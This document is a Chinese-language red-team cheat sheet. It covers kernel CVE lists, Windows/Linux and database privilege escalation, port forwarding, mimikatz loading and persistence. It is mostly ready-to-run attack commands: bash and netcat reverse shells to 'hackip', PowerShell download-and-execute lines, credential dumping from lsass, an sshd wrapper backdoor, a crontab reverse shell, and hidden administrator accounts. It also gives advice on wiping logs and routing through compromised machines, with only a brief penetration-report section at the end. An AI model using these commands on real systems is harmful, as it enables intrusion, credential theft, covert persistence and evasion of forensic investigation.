CVE-2009-2692	2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30
CVE-2009-1337	2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29
CVE-2009-1185	2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29

漏洞	影响
CVE-2008-4210	2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22
CVE-2008-0600	2.6.23, 2.6.24
CVE-2008-0600	2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1
CVE-2006-3626	2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16

漏洞	影响
CVE-2006-2451	2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17
CVE-2005-0736	2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11
CVE-2005-1263	Linux kernel 2.x.x to 2.2.27-rc2, 2.4.x to 2.4.31-pre1, and 2.6.x to 2.6.12-rc4
CVE-2004-1235	2.4.29
CVE-N/A	2.6.34, 2.6.35, 2.6.36

漏洞	影响
CVE-2004-0077	2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27

3.windows常规提权

- 从内存中提取内存铭文凭据
  - 使用 mimikatz 提取 windows凭据的密码
  - Quarks PwDump抓取用户密码
  - LaZagne本地抓取计算机密码
  - wce抓取密码
  - Pwdump7工具
- 不带引号的服务路径
  - 查找错误配置的命令

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\"
|findstr /i /v """
**示例1：**
假x设服务配置类似以下：
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
它将尝试运行以下可执行的文件：
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
实例2:
C:\Example\Sub Directory\example.exe
C:\Example\Sub
```

- 不安全的服务权限

```
accesschk命令：accesschk64.exe -uwcqv "really" *  //会列出服务
sc命令：sc qc "really" //really=服务名
注册表：HKLM\SYSTEM\CurrentControlSet\Services //可以看到服务信息
```

- 注册表
  - subinacl工具//执行下方命令可查易攻击的服务

```
subinacl.exe /keyreg
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Service" /display subinacl.exe /keyreg
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display SeSecurityPrivilege
: Access is denied.
```

  - msf反弹一个shell上去

- 不安全的文件系统权限

```
执行命令：icacls "C:\Program Files (x86)\really\test\" \\列出完全控制权限的文件
将"really.exe"替换成msf生成的shell即可反弹
```

- AlwaysInstallElevated

```
执行命令：reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
b.存在漏洞显示AlwaysInstallElevated    REG_DWORD    0x1
c.不存在显示ERROR: The system was unable to find the specified registry key or value.
d.如果存在漏洞使用msf生成.msf的shell即可
```

- 组策略首选项漏洞

```
a.路径\\REMOTE_HOST\SYSVOL\REMOTE_HOST\Policies\{POLICY_ID}\Machine\Preferences\
b.配置文件：
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
c.密码为32字节AES密钥，破解密码可以使用该配置访问计算机的本地管理员帐户，可以通过Kali中的gpp-decrypt命令完成
```

- 凭证窃取

  - 敏感的配置文件

```
unattend.xml、GPP.xml、SYSPREP.INF、sysprep.xml、其他各种配置文件、日志文件、注册表项、文件如
my_passwords.txt，my_passwords.xls等
```

  - 搜索语句

```
dir C:\*vnc.ini /s /b /c
dir C:\ /s /b /c | findstr /sr \*password\*
findstr /si password \*.txt | \*.xml | \*.ini
```

  - 注册表

```
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

- DLL劫持
  - 进程调用dll的顺序

```
加载应用程序的目录（例如，相对路径引用的DLL）
32位系统目录（C:\Windows\System32）
16位系统目录（C:\Windows\System）
Windows目录（C:\Windows）
当前工作目录（CWD）
PATH环境变量中的目录（系统路径，然后是用户路径）
```

  - 已知具有dll劫持漏洞的服务

```
IKE和AuthIP IPsec密钥模块（IKEEXT）：wlbsctrl.dll
Windows Media Center接收器服务（ehRecvr）：ehETW.dll
Windows Media Center计划程序服务（ehSched）：ehETW.dll
自动更新（wuauserv）：ifsproxy.dll
远程桌面帮助会话管理器（RDSessMgr）：SalemHook.dll
远程访问连接管理器（RasMan）：ipbootp.dll
Windows Management Instrumentation（winmgmt）：wbemcore.dll
音频服务（STacSV）：SFFXComm.dll SFCOM.DLL
英特尔快速存储技术（IAStorDataMgrSvc）：DriverSim.dll
Juniper统一网络服务（JuniperAccessService）：dsLogService.dll
Encase Enterprise Agent：SDDisk.dll
```

- 工具和框架
  - Metasploit
  - Sherlock
  - windows-privesc-check
  - Windows-Exploit-Suggester
  - PowerUp(powershell)
  - Nishang(powershell)

4.linux常规提权

- 常用工具
  - LinEnum

> 可以列举系统设置并且高度总结的linux本地枚举和权限提升检测脚本

  - Linuxprivchecker

> 枚举系统设置和执行一些提升权限的检查。它由**python**实现，用来对被控制的系统提供建议的exploits

  - Linux Exploit Suggester

基于操作系统的内核版本号。这个程序会执行“uname -r”来得到系统内核版本号。然后返回一个包含了可能exploits的列表。另外它还可以使用“-k”参数手工指定内核版本

- d.Unix-Privesc-checker

在UNIX系统上检测权限提升向量的**shell**脚本。它可以在UNIX和Linux系统上运行。寻找那些错误的配置可以用来允许未授权用户提升对其他用户或者本地应用的权限

- 明文root密码权限
  - ls -l passwd/shadow //查看passwd和shadow的权限

如果password可写，可以把密码字段（x）替换一个已知密码的hash（系统验证密码已passwd为准）
如果shadow可读，可以读取root的hash，后使用john破解等

- 密码复用
  - 数据库、web后台的密码可能是root密码
- 计划任务
  - ls -l /etc/cron* //可以列出root权限用户的计划任务

查看是否有任意用户可写的脚本，存在即可修改脚本为 反向**shell**的代码等进行权限提升

- suid提权
  - 列出root权限运行的命令

```
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
```

- 常用于suid提权的文件

```
Nmap、Vim、find、Bash、More、Less、Nano、cp
```

数据库提权

1.mysql

- udf提权

```
5.1以上的版本需要把udf.dll导出到plugin下，使用下面方法
a.利用NTFS ADS流来创建文件夹
select @@basedir;
```

```
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server
5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
执行成功以后再进行导出即可。
```

- mof提权

```
上传"mof"文件到可上写目录
执行load_file/into dumpfile把文件到出到正确的位置即可
```

- lpk劫持提权

```
生成的lpk，在本地进行16进制处理上传mysql，运行
```

- 开机启动项

```
show tables;
create table a (cmd text); //创建了一个新的表，表名为a，表中只存放一个字段，字段名为cmd，为text文本
insert into a values (“set wshshell=createobject (“”wscript.shell””)”);
insert into a values (“a=wshshell.run (“”cmd.exe /c net user xxx xxxx /add””,0)”);
insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators xxx /add””,0)”);//双引号和括
号以及后面的“0”一定要输入！
select * from a into outfile “c://docume~1//administrator//「开始」菜单//程序//启动//xxx.vbs”; //输出表为一个
VBS的脚本文件
最后让它重启（如攻击135端口）
```

- 反弹端口

```
利用mysql客户端工具链接mysql服务器，后执行下面操作
mysql.exe -h 172.16.10.11 -uroot -p
Enter password:
mysql> . c:mysql.txt（udf提权的txt）
mysql>select backshell("YourIP",2010);
本地监听你反弹的端口
nc.exe -vv -l -p 2010
```

2.sqlserver

- 利用xp_cmdshell提权

```
打开xp_cmdshell(默认是关闭的)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
如果xp_cmdshell被删，可上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll'
```

- 利用SP_OACreate提权

```
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt' (1.txt是获取的信息)
```

- 利用SQL Server CLR提权

```
首先打开组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
添加用户-粘贴键替换（需要具备sp_oacrete和sp_oamethod这2个组件）-传马-启动项写入加账户脚本
```

3.oracle

- 下方命令即可

```
CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;public class JAVACMD
{public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';/
exec javacmdproc('cmd.exe /c net user really really /add');
exec javacmdproc('cmd.exe /c net localgroup administrators really /add');
```

4.mongodb

- CVE-2013-4650

端口转发

1.lcx

```
a.lcx -slave hackip 66 肉机ip 3389 //在肉鸡机器执行：将肉鸡3389转发到hack的66端口
b.lcx -tran 66 1234 //在hack机器执行：将接收到66端口反弹到1234端口
c.执行完毕后，可以将肉鸡的3389反弹到hack的66端口，这样就远程桌面连接hackip:1234就ok了
```

2.nc

```
a.nc -t -e cmd.exe hackip 8888 //在肉鸡机器执行：将在hack机器上弹一个cmd窗口
b.nc -lvp 8888 //在hack机器上执行此命令，可以接受肉鸡机器的cmd
```

3.socks代理

- Earthworm

```
/ew -s rcsocks -l 1080 -e 8888 //在hackip运行命令
/ew -s rssocks -d hackip -e 8888 //在肉鸡执行即可反弹了
```

- Regeorg

```
把代理脚本上传到目标服务器
配置proxifier参数（代理端口等）
以上配置ok，执行python regeorgsocksproxy.py -p 端口 -u http://地址/脚本.xxx即可
```

- Tunna

```
代理脚本穿到目标服务器
运行python proxy.py -u http://地址/脚本.xxx -l 1234 -r 3389 -v
远程桌面127.0.0.1:1234
```

4.bash反弹

```
bash -i >& /dev/tcp/hackip/6666 0>&1 //肉鸡执行：反弹shell到肉鸡的6666
nc -lvvp 6666   //hack执行：监听6666拿到肉鸡shell
```

5.MSF后门反弹

- exploit/multi/handler

```
a.Msfvenom生成程序
b.使用handler执行exp
c.在目标机器运行Msfvenom生成程序
d.返回seesion
```

- exploit/multi/script/web_delivery

```
使用web_delivery返回脚本执行并加载exp
在目标机器运行脚本
返回session
```

powershell

1.常用功能

- 远程文件下载

```
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object
system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe'); start-process notepad.exe
```

- 文件传输

```
Send File:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Recieve File:
powercat -l -p 8000 -of C:\inputfile
```

2.netcat功能

- powercat -c 192.168.159.134 -p 6666 -e cmd
- 远程执行ps脚本

```
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://really.com/powercat.ps1');
```

- 基础功能

```
Basic Client:
powercat -c 10.1.1.1 -p 443
Basic Listener: powercat -l -p 8000
Basic Client, Output as Bytes:
powercat -c 10.1.1.1 -p 443 -o Bytes
```

3.文件打包

- makecab

```
1.makecab 源文文件名 目目的文文件名
2.Makecab /F list.txtlist.txt 内容为当前需要打包文文件名，通过回车车分割
```

- WinRAR.exe

```
WinRAR.exe a 压缩包.rar 要压缩的目目录
```

- 7z

```
7z a -t7z DriverTest_1.7z "I:\t\t1\*" -mx=9 -ms=200m -mf -mhc -mhcf - m0=LZMA:a=2:d=25:mf=bt4b:fb=64 -mmt
-r
```

- Compress-Archive

```
Compress-Archive -Path D:\test -DestinationPath E:\test.zip  //#将文件或文文件夹test压缩为test.zip
```

mimiktz

1.powershell或cmd执行

- cmd

```
C:\Users\test\Desktop>powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
```

- powershell

```
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.1/Invoke-
Mimikatz.ps1');Invoke-Mimikatz
```

2.用.net2.0加载mimikatz

- 第一步powershell执行

```
$key =
'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6q
ukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP4
6qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNO
E79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsN
DJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJI
boWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku
8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliB
pelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Contentkey.snk -Value $Content -EncodingByte
```

- 第二步cmd执行

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe
/keyfile:key.snk /unsafe katz.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe
```

3.js加载mimikatz

- 执行cscript mimikatz.js

4.msiexec加载mimikatz

- 远程执行

```
PS:> msiexec.exe /passive /i
https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestartcmd:>
```

```
msiexec.exe /passive /i
https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestart
```

- 本地执行

```
msiexec /passive /i C:\Users\Administrator\Downloads\Mimikatz.msi
```

5..net4.0加载mimikatz

- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild<.exemimikatz.xml

6.JScript的xsl版

- 本地加载

```
wmic os get /format:"mimikatz.xsl"
```

- 远程加载

```
wmic os get /format:"http://127.0.0.1/mimikatz.xsl"
```

7.jscript的sct版

```
mshta.exe
javascript:a=GetObject("script:https://gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct").Exec(); log coffee exit
```

8.内存中加载mimikatz

```
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.0.101/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR
```

9.导出lsass进程离线读密码

```
1.执行procdump64.exe-accepteula-malsass.exe 1.dmp
2.然后将1.dmp下载到本地mimikatz_2.1_64.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit
```

wmic

1.常用命令

- WScript.shell

```
可调用exe、shellcode、powershell等脚本
```

- 本地

```
wmic process list /FORMAT:really.xsl
```

- 远程

```
wmic os get /FORMAT:"http://really.com/really.xsl"
```

- wmic对xsl和xml脚本都支持但后缀必须是xsl
- 调用mimikatz

```
(方法同2和3一样，只是xsl文件不一样)
命令：
privilege::debug
sekurlsa::logonpasswords
mimikatz的xsl下载地址：https://github.com/reallys/attack/blob/master/pentest/mimikatz/mimikatz.xsl
```

- 执行命令

```
wmic /node:192.168.38.137 /user:administrator /password:123456 process call create cmd.exe
```

psexec

1.常用命令

- 执行命令

```
psexec \\IP -u user -p pass cmd.exe whoami
```

- 本地程序

```
psexec \\IP -u user -p pass -c "c:\really\mimikatz.exe"
```

权限维持

渗透框架

1.metasploit

- persistence模块 ***通过启动项在目标机器以反弹回连！首先要有一个meterpreter的shell***

-U：设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数；
-X：设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题，会导致添加失败，后门将无法启动。
-S：作为服务自动启动代理程序（具有SYSTEM权限）

- 生成的相关位置
  - 后门文件位置

```
C:\Windows\Temp
C:\Users\Administrator\AppData\Local\Temp
```

  - 注册表位置

```
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
```

- Metsvc模块 ***和persistence差不多，也要有meterpreter的shell***
  - 通过服务启动的方式，在目标机器启动后自启动一个服务

2.empire

- 注册表

```
(Empire: agents) > agents
(Empire: agents) > interact URL3FZBV
(Empire: URL3FZBV) > usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute
添加到开机启动，开机会弹出黑框，之后还会弹出注册表添加的powershell启动项的框
注册表位置：\HKEY_LOKAL_MACHINE\SOFTWARE\Microsoft\Microsoft\Windows\CurrentVersion
```

- 计划任务

```
(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*
(Empire: powershell/persistence/elevated/schtasks) > set Listener test
(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50
(Empire: powershell/persistence/elevated/schtasks) > execute
//在每天的22:50
```

3.cobalt strike

- 服务自启动

```
//用cs生成powershell后门
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://hack:8080/a'))\"
```

```
sc description  Name "Just For Test"   //设置服务的描述字符串
sc config Name start= auto             //设置这个服务为自动启动
net start Name                         //启动服务
```

- 注册表自启动

```
//在cs的shell beacon内执行
beacon>getsystem
beacon>shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.0.1:8080/a'))\"" /f
```

- 其他自启动

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
```

中间件

1.mysql

- mysql定时任务

```
create procedure konjac_test() begin insert into test.admin(admin_user,admin_passwd)
values('hackuser','123456'); end //创建一个存储过程
create event e_konjac on schedule every 60 second on completion preserve disable do call konjac_test(); 创
建一个定时任务 60秒执行一次存储过程 当然了 我个人觉得一天最好
alter event e_konjac on completion preserve enable; //开启定时任务
alter event e_konjac on completion preserve disable; //关闭定时任务
```

2.iis

- 后门地址：https://github.com/WBGIII/IIS_backdoor

3.php

- https://github.com/yang8e/php7-/blob/master/redteam.c

4.apache

- apache module 后门

windows

1.影子账户

```
1.创建一个隐藏账户 net user test$ （net user看不见，计算机管理界面能看见）
2.注册表 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/
```

3.Names文件夹，选中test$，记住十六进制数字，返回上层找到00000(对应的十六进制数字)
4.找到administrator的十六进制数字，然后找到对应的00000（十六进制）文件夹打开，复制administrator的000001F4文件夹里面的F值到我们的隐藏账户test$里面的F值中。
5.导出test$的注册表，删除test$用户、导入注册表。
6.找到Names里面的test$喝和test$对应的十六进制目录，右键导出到桌面。
7.然后使用net user test$ /del 删除test$用户。
8.然后再把导出到桌面的注册表重新导入就ok了

2.映像劫持

```
1.可以使用微软的GFlages.exe工具测试
2.修改注册表
实例：修改打开notepad而运行的是计算器
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v debugger /t REG_SZ /d "c:windowssystem32calc.exe"。
```

3.userinit注册表

```
1.注册表位置
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
b.msf使用web_delivery模块生成后们，在注册表加上powershell执行即可
2.需要管理员权限
```

4.计划任务

- schtasks

```
示例：每20分钟运行一次
schtasks /create /sc minute /mo 20 /tn "Security Script" /tr \\central\date\scripts\sec.vbs
```

linux

1.软连接

```
ln -s /usr/sbin/sshd /tmp/su; /tmp/su -oPort=8888;
ssh root@1.1.1.1 -p 8888 //密码随便输入即可
```

2.wrapper后门

```
/usr/sbin/sshd文件编辑下面内容
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);
exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,
```

3.计划任务

- crontab

```
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --
noprofile –I;\rno crontab for `whoami`%100c\n")|crontab –
```

4.ssh公钥免密

```
ssh-keygen -t rsa
把id_ras.pub写到~/.ssh/authorized_key文件中
```

痕迹清理

1.windows缓存

```
C:\Users\Irio\AppData\Local\Microsoft\Windows\History  用户最近访问过的文件和网页记录
C:\Users\Irio\AppData\Roaming\Microsoft\Windows\Recent
C:\Users\Irio\AppData\Local\Microsoft\Windows\Burn  临时刻录文件夹
C:\Users\Irio\Documents 我的文档 Default.rdp 存放在此处
C:\Documents and Settings\Administrator\Recent  最近访问过的文件
C:\Documents and Settings\Administrator\NetHood 访问过的网上邻居共享等
C:\Documents and Settings\Administrator\My Documents 我的文档
C:\Documents and Settings\Administrator\Desktop  桌面
c:\Program Files  默认文件安装路径
%systemroot%system32config  DNS日志默认位置
%systemroot%system32configSecEvent.EVT  安全日志文件
%systemroot%system32configSysEvent.EVT  系统日志文件
%systemroot%system32configAppEvent.EVT  应用程序日志文件
%systemroot%system32logfilesmsftpsvc1  FTP日志默认位置
%systemroot%system32logfilesw3svc1  WWW日志默认位置
```

2.linux缓存

```
bash_history、secure 、lastlog、messages、web日志
```

3.跳板

```
虚拟机+vpn+肉鸡+ss
```

编写渗透测试报告

渗透报告

- 1.漏洞汇总
- 2.漏洞定级
- 3.修复建议

1.汇总所有发现的漏洞
2.根据影响程度或owasp判断级别
3.提供详细的修复方案至少一种
4.参与渗透测试人员姓名+**email**/Phone
5.开始与结束时间
6.漏洞测试的证明截图以及漏洞url一定要详细
7.如测试sql注入插入的数据以及xss存储url一定要及时与客户联系